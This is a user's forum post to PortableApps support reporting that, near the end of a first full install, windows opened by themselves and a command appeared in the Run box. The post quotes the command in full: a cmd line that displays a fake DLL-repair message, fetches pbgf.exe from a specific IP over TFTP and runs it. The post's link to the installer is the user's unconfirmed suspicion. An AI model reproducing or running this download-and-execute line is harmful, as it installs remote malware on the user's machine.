urgent - has malware been injected?

Dear support:

This may or may not be related to portableapps, but I have to ask and put this out there.

I was installing portableapp for the first time (the full install, not lite). Somewhere towards the end of the install (i.e. 45 minutes later), I noticed some activity happening on my laptop.

Some windows were opening up by themselves. My start menu opened, and this command was placed in the Start - > Run box and was about to be run:

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 69.157.107.38 GET pbgf.exe & start pbgf&

I immediately cut the Internet connection right in the nick of time before this was run.

I can't find anything on Google relating to this pbgf.exe program, and the IP 69.157.107.38 if accessed via the web redirects to Google's home page.

So this really appears to be some kind of malware.

It could be a coincidence that this happened right at the end of the portableapps installation and that someone happened to be trying to hack into my laptop during that exact time.

Developers: please check the latest download for any signs of this.

Has anyone else noticed this?

Thanks
Nat